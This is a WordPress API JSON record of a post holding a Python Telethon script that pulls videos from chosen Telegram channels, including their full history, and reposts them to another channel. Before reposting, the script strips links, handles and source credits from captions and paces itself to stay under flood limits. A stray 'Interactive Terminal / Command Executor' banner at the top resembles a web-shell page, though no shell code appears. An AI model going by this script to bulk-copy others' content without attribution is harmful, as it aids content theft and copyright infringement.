AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
Interactive Terminal
Command Executor
{"id":12,"date":"2025-12-20T08:28:52","date_gmt":"2025-12-20T08:28:52","guid":{"rendered":"https:\/\/wordpress-fz3fv.wasmer.app\/?p=12"},"modified":"2026-08-17T23:53:55","modified_gmt":"2026-08-17T23:53:55","slug":"tg-forward-videos","status":"publish","type":"post","link":"https:\/\/wp.iii.nn.kg\/?p=12","title":{"rendered":"forward"},"content":{"rendered":"\nimport asyncio\nimport os\nimport random\nimport re\nimport logging\nfrom logging.handlers import RotatingFileHandler\nfrom typing import List, Dict, Optional, Set\nimport aiosqlite\nfrom telethon import TelegramClient\nfrom telethon.tl.types import MessageMediaDocument, Message, DocumentAttributeVideo\nfrom telethon.errors import FloodWaitError\nfrom dotenv import load_dotenv\n\n# ==================== 1. \u57fa\u7840\u914d\u7f6e\u4e0e\u521d\u59cb\u5316 ====================\nDB_FOLDER = \"database\"\nSESSION_FOLDER = \"session\"\nfor folder in [DB_FOLDER, SESSION_FOLDER]:\n if not os.path.exists(folder):\n os.makedirs(folder)\n\nlogging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s - %(levelname)s - [%(name)s] - %(message)s\",\n handlers=[\n RotatingFileHandler(os.path.join(DB_FOLDER, \"bot_work.log\"), maxBytes=10*1024*1024, backupCount=5, encoding=\"utf-8\"),\n logging.StreamHandler()\n ]\n)\nlogger = logging.getLogger(\"SuperForwarder\")\n\nload_dotenv()\nAPI_ID = int(os.getenv(\"API_ID\", 0))\nAPI_HASH = os.getenv(\"API_HASH\", \"\")\nPHONE_NUMBER = os.getenv(\"PHONE_NUMBER\", \"\")\nTWO_STEP_PASSWORD = os.getenv(\"TWO_STEP_PASSWORD\", \"\")\nTARGET_CHANNEL = int(os.getenv(\"TARGET_CHANNEL\", 0))\nSOURCE_CHANNELS = [int(x.strip()) for x in os.getenv(\"SOURCE_CHANNELS\", \"\").split(\",\") if x.strip()]\n\nMAX_WORKERS = int(os.getenv(\"MAX_WORKERS\", 3)) \nMIN_INTERVAL = float(os.getenv(\"MIN_INTERVAL\", 2.0))\nMAX_INTERVAL = float(os.getenv(\"MAX_INTERVAL\", 5.0))\nALBUM_WAIT_TIME = 4.0 \n\n# \u89c6\u9891\u8fc7\u6ee4\u914d\u7f6e (\u53ef\u5728 .env \u4e2d\u81ea\u7531\u914d\u7f6e\uff0c\u8bbe\u7f6e\u4e3a 0 \u8868\u793a\u4e0d\u9650\u5236)\nMIN_SIZE_MB = float(os.getenv(\"MIN_SIZE_MB\", 0)) # \u6700\u5c0f\u4f53\u79ef (MB)\nMAX_SIZE_MB = float(os.getenv(\"MAX_SIZE_MB\", 0)) # \u6700\u5927\u4f53\u79ef (MB)\nMIN_HEIGHT = int(os.getenv(\"MIN_HEIGHT\", 0)) # \u6700\u4f4e\u5782\u76f4\u5206\u8fa8\u7387 (\u5982 720)\nMAX_HEIGHT = int(os.getenv(\"MAX_HEIGHT\", 0)) # \u6700\u9ad8\u5782\u76f4\u5206\u8fa8\u7387 (\u5982 1080)\n\nAD_PATTERNS = [\n r\"https?:\/\/\\S+\", \n r\"t\\.me\/\\S+\", \n r\"@\\w+\", \n r\"Via .*\", \n r\"\\[.*?\\]\\(https?:\/\/.*?\\)\" \n]\n\n# \u7528\u4e8e\u9632\u6b62\u5b9e\u65f6\u4e0e\u5386\u53f2\u4efb\u52a1\u91cd\u590d\u653e\u5165\u961f\u5217\u7684\u5185\u5b58\u96c6\u5408\nprocessing_msg_ids: Set[int] = set()\n\n# ==================== 2. \u6570\u636e\u5e93\u7ba1\u7406 ====================\nclass AsyncDB:\n def __init__(self, path):\n self.path = path\n self.conn: Optional[aiosqlite.Connection] = None\n\n async def connect(self):\n self.conn = await aiosqlite.connect(self.path)\n await self.conn.execute(\"PRAGMA journal_mode=WAL;\")\n await self.conn.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS progress (\n channel_id TEXT PRIMARY KEY, \n last_msg_id INTEGER DEFAULT 0, \n min_msg_id INTEGER DEFAULT 0\n )\"\"\")\n await self.conn.execute(\"CREATE TABLE IF NOT EXISTS videos (video_key TEXT PRIMARY KEY)\")\n await self.conn.execute(\"CREATE INDEX IF NOT EXISTS idx_vkey ON videos (video_key);\")\n await self.conn.commit()\n\n async def close(self):\n if self.conn:\n await self.conn.close()\n\n async def is_seen(self, key: str) -> bool:\n async with self.conn.execute(\"SELECT 1 FROM videos WHERE video_key=?\", (key,)) as cursor:\n return await cursor.fetchone() is not None\n\n async def mark_seen_batch(self, keys: List[str]):\n if not keys: return\n await self.conn.executemany(\n \"INSERT OR IGNORE INTO videos (video_key) VALUES (?)\", \n [(k,) for k in keys]\n )\n await self.conn.commit()\n\n async def get_prog(self, cid: int):\n async with self.conn.execute(\"SELECT last_msg_id, min_msg_id FROM progress WHERE channel_id=?\", (str(cid),)) as cursor:\n r = await cursor.fetchone()\n return r if r else (0, 0)\n\n async def update_prog(self, cid: int, last_id: Optional[int] = None, min_id: Optional[int] = None):\n if last_id is not None:\n await self.conn.execute(\n \"INSERT INTO progress (channel_id, last_msg_id) VALUES (?, ?) ON CONFLICT(channel_id) DO UPDATE SET last_msg_id=?\", \n (str(cid), last_id, last_id)\n )\n if min_id is not None:\n await self.conn.execute(\n \"INSERT INTO progress (channel_id, min_msg_id) VALUES (?, ?) ON CONFLICT(channel_id) DO UPDATE SET min_msg_id=?\", \n (str(cid), min_id, min_id)\n )\n await self.conn.commit()\n\n# ==================== 3. \u5de5\u5177\u4e0e\u8fc7\u6ee4\u903b\u8f91 ====================\ndef clean_caption(text: str) -> str:\n if not text: return \"\"\n for p in AD_PATTERNS:\n text = re.sub(p, \"\", text, flags=re.I)\n return text.strip()\n\ndef is_video(msg: Message) -> bool:\n if not msg or not msg.media or not isinstance(msg.media, MessageMediaDocument): \n return False\n \n doc = msg.media.document\n if not doc.mime_type or not doc.mime_type.startswith(\"video\"): \n return False\n\n # 1. \u6587\u4ef6\u4f53\u79ef\u6821\u9a8c (MB)\n size_mb = doc.size \/ 1048576\n if MIN_SIZE_MB > 0 and size_mb < MIN_SIZE_MB: \n return False\n if MAX_SIZE_MB > 0 and size_mb > MAX_SIZE_MB: \n return False\n\n # 2. \u8bfb\u53d6\u89c6\u9891\u5143\u6570\u636e\u5e76\u6821\u9a8c\u5206\u8fa8\u7387 (Height)\n height = 0\n if doc.attributes:\n for attr in doc.attributes:\n if isinstance(attr, DocumentAttributeVideo):\n height = attr.h\n break\n\n if MIN_HEIGHT > 0 and height < MIN_HEIGHT:\n return False\n if MAX_HEIGHT > 0 and height > MAX_HEIGHT:\n return False\n\n return True\n\n# ==================== 4. \u76f8\u518c\u9632\u6296\u805a\u5408\u903b\u8f91 ====================\nforward_queue = asyncio.Queue(maxsize=500)\npending_albums: Dict[int, List[Message]] = {}\nalbum_tasks: Dict[int, asyncio.TimerHandle] = {}\n\nasync def _flush_album(grouped_id: int):\n await asyncio.sleep(ALBUM_WAIT_TIME)\n msgs = pending_albums.pop(grouped_id, None)\n album_tasks.pop(grouped_id, None)\n if msgs:\n msgs.sort(key=lambda x: x.id)\n await forward_queue.put(msgs)\n\nasync def handle_incoming(msg: Message):\n if msg.id in processing_msg_ids:\n return\n processing_msg_ids.add(msg.id)\n\n if len(processing_msg_ids) > 10000:\n processing_msg_ids.clear()\n\n if msg.grouped_id:\n gid = msg.grouped_id\n if gid not in pending_albums:\n pending_albums[gid] = []\n pending_albums[gid].append(msg)\n\n # \u9632\u6296\u91cd\u7f6e\u5012\u8ba1\u65f6\n if gid in album_tasks:\n album_tasks[gid].cancel()\n album_tasks[gid] = asyncio.create_task(_flush_album(gid))\n else:\n await forward_queue.put([msg])\n\n# ==================== 5. \u8f6c\u53d1 Worker ====================\nasync def worker(wid: int):\n while True:\n batch = await forward_queue.get()\n try:\n to_send = []\n for m in batch:\n if not m.media or not hasattr(m.media, 'document'):\n continue\n v_key = str(m.media.document.id)\n if not await db.is_seen(v_key):\n to_send.append(m)\n \n if to_send:\n caption = \"\"\n for m in batch:\n if m.text:\n caption = clean_caption(m.text)\n break\n \n files = [m.media for m in to_send]\n await client.send_file(TARGET_CHANNEL, file=files, caption=caption, supports_streaming=True)\n \n seen_keys = [str(m.media.document.id) for m in to_send]\n await db.mark_seen_batch(seen_keys)\n \n logger.info(f\"Worker-{wid} | \u6210\u529f\u8f6c\u53d1 {len(to_send)} \u4e2a\u89c6\u9891\")\n await asyncio.sleep(random.uniform(MIN_INTERVAL, MAX_INTERVAL))\n except FloodWaitError as e:\n logger.warning(f\"Worker-{wid} \u9047\u5230 FloodWait\uff0c\u6682\u505c {e.seconds + 5} \u79d2\")\n await asyncio.sleep(e.seconds + 5)\n except Exception as e:\n logger.error(f\"Worker-{wid} \u8f6c\u53d1\u5f02\u5e38: {e}\", exc_info=True)\n finally:\n forward_queue.task_done()\n\n# ==================== 6. \u626b\u63cf\u4e0e\u540c\u6b65\u4efb\u52a1 ====================\nasync def scan_latest_task(cid: int):\n last_id, _ = await db.get_prog(cid)\n \n if last_id == 0:\n async for msg in client.iter_messages(cid, limit=1):\n last_id = msg.id\n await db.update_prog(cid, last_id=last_id)\n logger.info(f\"\u9891\u9053 {cid} \u5b9e\u65f6\u76d1\u63a7\u5df2\u5c31\u7eea\uff0c\u5f53\u524d\u6700\u65b0\u6d88\u606f ID: {last_id}\")\n\n while True:\n try:\n async for msg in client.iter_messages(cid, min_id=last_id, reverse=True):\n if is_video(msg): \n await handle_incoming(msg)\n last_id = max(last_id, msg.id)\n await db.update_prog(cid, last_id=last_id)\n \n await asyncio.sleep(15)\n except FloodWaitError as e:\n await asyncio.sleep(e.seconds + 5)\n except Exception as e:\n logger.error(f\"\u9891\u9053 {cid} \u5b9e\u65f6\u76d1\u63a7\u51fa\u9519: {e}\")\n await asyncio.sleep(30)\n\nasync def backfill_history_task(cid: int):\n logger.info(f\"\u5386\u53f2\u8865\u5168\u4efb\u52a1\u542f\u52a8: {cid}\")\n _, min_id = await db.get_prog(cid)\n \n if min_id == 0:\n async for msg in client.iter_messages(cid, limit=1):\n min_id = msg.id + 1\n await db.update_prog(cid, min_id=min_id)\n\n while True:\n try:\n if min_id <= 1:\n logger.info(f\"\u9891\u9053 {cid} \u5386\u53f2\u6d88\u606f\u5df2\u5168\u90e8\u8865\u5168\u5b8c\u6bd5\uff01\")\n break\n \n if forward_queue.qsize() < 100:\n fetched_count = 0\n async for msg in client.iter_messages(cid, offset_id=min_id, limit=50):\n fetched_count += 1\n min_id = msg.id\n if is_video(msg): \n await handle_incoming(msg)\n \n await db.update_prog(cid, min_id=min_id)\n \n if fetched_count == 0:\n logger.info(f\"\u9891\u9053 {cid} \u5386\u53f2\u6d88\u606f\u56de\u6eaf\u5b8c\u6bd5 (\u89e6\u5e95)\u3002\")\n await db.update_prog(cid, min_id=1)\n break\n \n await asyncio.sleep(random.uniform(3.0, 7.0))\n else:\n await asyncio.sleep(10)\n except FloodWaitError as e:\n logger.warning(f\"\u5386\u53f2\u8865\u5168\u89e6\u53d1\u9650\u5236\uff0c\u7b49\u5f85 {e.seconds + 5} \u79d2\")\n await asyncio.sleep(e.seconds + 5)\n except Exception as e:\n logger.error(f\"\u9891\u9053 {cid} \u5386\u53f2\u8865\u5168\u9519\u8bef: {e}\")\n await asyncio.sleep(30)\n\n# ==================== 7. \u542f\u52a8\u5165\u53e3 ====================\ns_tag = str(SOURCE_CHANNELS[0]) if SOURCE_CHANNELS else \"unknown\"\nt_tag = str(TARGET_CHANNEL)\ndb_filename = f\"{s_tag}to{t_tag}.db\"\ndb_path = os.path.join(DB_FOLDER, db_filename)\n\nsession_path = os.path.join(SESSION_FOLDER, \"forwarder_session\")\nclient = TelegramClient(session_path, API_ID, API_HASH)\ndb = AsyncDB(db_path)\n\nasync def main():\n await db.connect()\n await client.start(PHONE_NUMBER, TWO_STEP_PASSWORD)\n logger.info(f\"--- \u767b\u5f55\u6210\u529f | \u6570\u636e\u5e93: {db_filename} ---\")\n\n workers = [asyncio.create_task(worker(i + 1)) for i in range(MAX_WORKERS)]\n\n tasks = []\n for cid in SOURCE_CHANNELS:\n tasks.append(asyncio.create_task(scan_latest_task(cid)))\n tasks.append(asyncio.create_task(backfill_history_task(cid)))\n\n try:\n await client.run_until_disconnected()\n finally:\n for t in tasks + workers:\n t.cancel()\n await db.close()\n\nif __name__ == \"__main__\":\n try:\n asyncio.run(main())\n except KeyboardInterrupt:\n logger.info(\"\u7a0b\u5e8f\u5df2\u88ab\u7528\u6237\u624b\u52a8\u7ec8\u6b62\")<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-12","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=\/wp\/v2\/posts\/12","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12"}],"version-history":[{"count":0,"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=\/wp\/v2\/posts\/12\/revisions"}],"wp:attachment":[{"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wp.iii.nn.kg\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}